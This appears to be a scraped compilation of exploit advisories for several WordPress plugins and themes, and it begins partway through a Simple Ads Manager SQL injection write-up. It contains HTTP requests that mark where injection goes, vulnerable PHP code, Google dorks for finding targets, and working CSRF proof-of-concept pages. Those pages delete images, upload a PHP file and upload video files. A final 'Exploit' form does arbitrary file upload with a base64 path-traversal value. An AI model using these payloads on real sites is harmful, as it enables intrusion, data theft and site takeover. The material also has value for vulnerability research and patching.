			  $sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};";
			  $result = $wpdb->query($sql);
			  if($result > 0) echo json_encode(array('success' => true, 'sql' => $sql, 'addr' => $_SERVER['REMOTE_ADDR']));
			  else echo json_encode(array(
				  'success' => false,
				  'result' => $result,
				  'sql' => $sql,
				  'hits' => $hits,
				  'values' => $values
			  ));	
		  }
		  break;


		  
		  
---SQL INJECTION 2---
+REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: hostname
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=load_posts&cstr=<SQL INJECTION HERE>&sp=Post&spg=Page

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Vulnerable code:
case 'sam_ajax_load_posts':
      $custs = (isset($_REQUEST['cstr'])) ? $_REQUEST['cstr'] : '';
      $sPost = (isset($_REQUEST['sp'])) ? urldecode( $_REQUEST['sp'] ) : 'Post';
      $sPage = (isset($_REQUEST['spg'])) ? urldecode( $_REQUEST['spg'] ) : 'Page';

      //set @row_num = 0;
      //SELECT @row_num := @row_num + 1 AS recid
      $sql = "SELECT
                wp.id,
                wp.post_title AS title,
                wp.post_type AS type
              FROM
                $postTable wp
              WHERE
                wp.post_status = 'publish' AND
                FIND_IN_SET(wp.post_type, 'post,page{$custs}')
              ORDER BY wp.id;";

      $posts = $wpdb->get_results($sql, ARRAY_A);

      $k = 0;
      foreach($posts as &$val) {
        switch($val['type']) {
          case 'post':
            $val['type'] = $sPost;
            break;
          case 'page':
            $val['type'] = $sPage;
            break;
          default:
            $val['type'] = $sPost . ': '.$val['type'];
            break;
        }
        $k++;
        $val['recid'] = $k;
      }
      $out = array(
        'status' => 'success',
        'total' => count($posts),
        'records' => $posts
      );
      break;

	  
	  
---SQL INJECTION 3---
+REQUEST:

POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?searchTerm=<SQL INJECTION HERE> HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmb=30068390.1.10.1427794022; __utmc=30068390
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

action=load_combo_data

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+Vulnerable code: from line 225 to 255
    case 'sam_ajax_load_combo_data':
      $page = $_GET['page'];
      $rows = $_GET['rows'];
      $searchTerm = $_GET['searchTerm'];
      $offset = ((int)$page - 1) * (int)$rows;
      $sql = "SELECT
                wu.id,
                wu.display_name AS title,
                wu.user_nicename AS slug,
                wu.user_email AS email
              FROM
                $uTable wu
              WHERE wu.user_nicename LIKE '{$searchTerm}%'
              ORDER BY wu.id
              LIMIT $offset, $rows;";
      $users = $wpdb->get_results($sql, ARRAY_A);
      $sql = "SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE '{$searchTerm}%';";
      $rTotal = $wpdb->get_var($sql);
      $total = ceil((int)$rTotal/(int)$rows);
      $out = array(
        'page' => $page,
        'records' => count($users),
        'rows' => $users,
        'total' => $total,
        'offset' => $offset
      );
      break;

	  
	  
	  
---SQL INJECTION 4---

+ REQUEST

POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmc=30068390
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

action=load_users&subscriber=<SQL INJECTION HERE>&contributor=<SQL INJECTION HERE>&author=<SQL INJECTION HERE>&editor=<SQL INJECTION HERE>&admin=<SQL INJECTION HERE>&sadmin=<SQL INJECTION HERE>

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 188 to 223
    case 'sam_ajax_load_users':
      $roleSubscriber = (isset($_REQUEST['subscriber'])) ? urldecode($_REQUEST['subscriber']) : 'Subscriber';
      $roleContributor = (isset($_REQUEST['contributor'])) ? urldecode($_REQUEST['contributor']) : 'Contributor';
      $roleAuthor = (isset($_REQUEST['author'])) ? urldecode($_REQUEST['author']) : 'Author';
      $roleEditor = (isset($_REQUEST['editor'])) ? urldecode($_REQUEST['editor']) : 'Editor';
      $roleAdministrator = (isset($_REQUEST["admin"])) ? urldecode($_REQUEST["admin"]) : 'Administrator';
      $roleSuperAdmin = (isset($_REQUEST['sadmin'])) ? urldecode($_REQUEST['sadmin']) : 'Super Admin';
      $sql = "SELECT
                wu.id,
                wu.display_name AS title,
                wu.user_nicename AS slug,
                (CASE wum.meta_value
                  WHEN 0 THEN '$roleSubscriber'
                  WHEN 1 THEN '$roleContributor'
                  WHEN 2 THEN '$roleAuthor'
                  ELSE
                    IF(wum.meta_value > 2 AND wum.meta_value <= 7, '$roleEditor',
                      IF(wum.meta_value > 7 AND wum.meta_value <= 10, '$roleAdministrator',
                        IF(wum.meta_value > 10, '$roleSuperAdmin', NULL)
                      )
                    )
                END) AS role
              FROM $uTable wu
              INNER JOIN $umTable wum
                ON wu.id = wum.user_id AND wum.meta_key = '$userLevel'
              ORDER BY wu.id;";
      $users = $wpdb->get_results($sql, ARRAY_A);
      $k = 0;
      foreach($users as &$val) {
        $k++;
        $val['recid'] = $k;
      }
      $out = $users;
      break;
HireHackking 
# Exploit Title: Wordpress WP Easy Slideshow Plugin Multiple Vulnerabilities
# Google Dork: inurl:/wp-content/uploads/wp-easy-slideshow/
# Date: 2 April 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/wp-easy-slideshow/
# Software Link: https://downloads.wordpress.org/plugin/wp-easy-slideshow.zip
# Version: 1.0.3
# Tested on: Windows, Linux
# CVE : None

Delete operation using CSRF:

<img src="http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=[number]">
Example: http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=1

<html>
  <head><title>CSRF Delete Operation</title></head>
  <body>
    <form action="http://192.168.1.2/wp-admin/admin.php">
      <input type="hidden" name="page" value="wss-images" />
      <input type="hidden" name="del_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Arbitrary File Upload using CSRF:

<html>
  <head><title>WP CSRF File Upload</title></head>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/wordpress/wp-admin/admin.php?page=wss-add-image", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1559691976562");
        xhr.withCredentials = true;
        var body = "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"wss_image\"; filename=\"myfile.php\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c?php\r\n" + 
          "phpinfo();\r\n" + 
          "?\x3e\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"desc_content\"\r\n" + 
          "\r\n" + 
          "CSRF File Upload\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"image_link\"\r\n" + 
          "\r\n" + 
          "linkData\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Submit\r\n" + 
          "-----------------------------1559691976562--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


Arbitrary File Upload (Authenticated):

URL: http://192.168.1.2/wp-admin/admin.php?page=wss-add-image

The upload script allows uploading arbitrary files. The files are renamed to numbers like 1,2,3,... The uploaded files cannot be executed on server.

Upload Location: http://192.168.1.2/wp-content/uploads/wp-easy-slideshow/
HireHackking 
# Exploit Title: Wordpress Video Gallery Plugin Multiple CSRF File Upload
# Google Dork: inurl:/wp-content/plugins/contus-video-gallery
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/contus-video-gallery/
# Software Link: https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip
# Version: 2.8
# Tested on: Windows, Linux
# CVE : None

CSRF File Upload Exploit Code:

<html>
<head>
<title>
WP Plugin CSRF File Upload
</title>
<body>
	<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------103932797413649");
        xhr.withCredentials = true;
        var body = "-----------------------------103932797413649\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"test.mp4\"\r\n" + 
          "Content-Type: video/mp4\r\n" + 
          "\r\n" + 
          "hello world how are you\r\n" + 
          "-----------------------------103932797413649\r\n" + 
          "Content-Disposition: form-data; name=\"mode\"\r\n" + 
          "\r\n" + 
          "video\r\n" + 
          "-----------------------------103932797413649--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit" onclick="submitRequest();" />
    </form>

	
  </body>
</html>


Other CSRF vulnerable areas of application:
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=video

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=image

URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
Data: myfile=[upload_file_details]&mode=srt
HireHackking 
# Exploit Title: Wordpress SimpleCart Theme File Upload and Execution
# Google Dork: inurl:/wp-content/themes/simplecart
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://github.com/UpThemes/
# Software Link: https://github.com/UpThemes/SimpleCart-Theme
# Version: 2.1.2
# Tested on: Windows, Linux
# CVE : None
#
# Other Themes:
# Micro Theme 1.0.3: https://github.com/UpThemes/Micro-Theme
# Holding Pattern Theme 1.3: https://github.com/UpThemes/Holding-Pattern-Theme
# Gallery Pro Theme 2.5.3: https://github.com/UpThemes/Gallery-Pro-Theme/
# Evo Theme 1.3: https://github.com/UpThemes/Evo-Theme
# Charity Theme 1.1.3: https://github.com/UpThemes/Charity-Theme/

<html>
<head>
<title>WP Theme Exploit</title>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/md5.js"></script>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/components/enc-base64-min.js"></script>
<script>
function process_data()
{
	var proto = "http://";
	if (document.getElementById('rb1').checked)
	{
		proto = document.getElementById('rb1').value;
	}
	var targetip = document.getElementById('targetip').value;
	var filepath = document.getElementById('vfile').value;
	var formaction = proto.concat(targetip,filepath);
	document.getElementById("myform").setAttribute("action", formaction);
	document.getElementById("file1").setAttribute("name", CryptoJS.MD5(document.getElementById('targetip').value));
	return true;
}
</script>
</head>
<body>
<form id="myform" name="myform" action="#" method="post" enctype="multipart/form-data">
	Target IP: <input type="text" id="targetip" name="targetip">
	<input type="radio" id="rb1" name="rb1" value="http://" checked>HTTP 
	<input type="radio" id="rb1" name="rb1" value="https://">HTTPS <br>
	Upload File: <input type="file" id="file1" name="n1"><br> <!--name="00958fd0af98291fdf517e3fe763da5c"-->
	Upload Path: <input type="text" id="upload_path" name="upload_path" value="Li4vLi4vLi4vLi4v"><br><br>
	<fieldset>
	<legend>Base64 Encoded value (without double quotes)</legend>
	1. "Li4vLi4vLi4vLi4v" for website root directory upload.<br>
	2. "Lg==" for current directory upload.<br>
	</fieldset><br>
	Vulnerable File: <input type="text" id="vfile" name="vfile" value="/wp-content/themes/simplecart/admin/upload-file.php" size="100%"><br><br>
	<input type="submit" value="Exploit" onClick="process_data()">
</form>
</body>
</html>